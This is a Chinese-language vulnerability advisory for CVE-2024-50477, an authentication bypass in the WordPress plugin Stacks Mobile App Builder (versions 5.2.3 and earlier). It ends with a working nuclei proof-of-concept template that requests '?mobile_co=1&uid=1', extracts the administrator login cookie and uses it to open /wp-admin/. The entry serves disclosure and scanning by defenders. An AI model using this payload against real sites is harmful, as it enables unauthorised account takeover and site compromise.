WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞信息

漏洞名称： WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞编号：

• CVE： CVE-2024-50477

漏洞类型： 权限绕过

漏洞等级： 严重

漏洞描述： Stacks Mobile App Builder是WordPress的一个插件，用于帮助用户快速构建移动应用程序。该插件广泛应用于需要将WordPress网站内容转换为移动应用的用户中，特别是在企业和个人开发者中较为流行。该插件在版本5.2.3及之前存在一个认证绕过漏洞，攻击者可以通过不当处理查询参数来绕过认证机制，从而冒充任意用户。这一漏洞的技术根源在于插件未能正确验证用户身份，允许攻击者通过构造特定的URL参数（如mobile_co=1&uid=1）来获取管理员权限或其他用户的会话cookie。这种漏洞的影响极为严重，因为它允许攻击者无需任何认证即可完全控制受影响的WordPress站点，包括但不限于发布恶意内容、窃取敏感数据、甚至进一步渗透内网。由于漏洞利用简单且影响广泛，所有使用受影响版本插件的WordPress站点都应立即更新到最新版本以避免潜在的安全风险。

产品厂商： WordPress

产品名称： Stacks Mobile App Builder

影响版本： version <= 5.2.3

来源： https://github.com/projectdiscovery/nuclei-templates/blob/238d24d63a77d3518d73688628a55424b621aba3/http%2Fcves%2F2024%2FCVE-2024-50477.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: stacks-mobile-app-builder-auth-bypass

info:
  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass via Account Takeover
  author: stealthcopter, vijay-sutar
  severity: critical
  description: |
    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
  reference:
    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
  classification:
    cve-id: CVE-2024-50477
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
  tags: wordpress,auth-bypass,account-takeover,wp-plugin,cve-2024-50477,critical

http:
  - method: GET
    path:
      - "{{BaseURL}}/?mobile_co=1&uid=1"

    redirects: true
    cookie-reuse: true
    max-redirects: 2

    extractors:
      - type: regex
        name: auth_cookie
        group: 0
        regex:
          - "wordpress_logged_in_[^=]+=[^;]+"

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/"
    headers:
      Cookie: "{{auth_cookie}}"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Dashboard"
          - "Welcome to WordPress!"
        condition: or

      - type: word
        part: header
        words:
          - text/html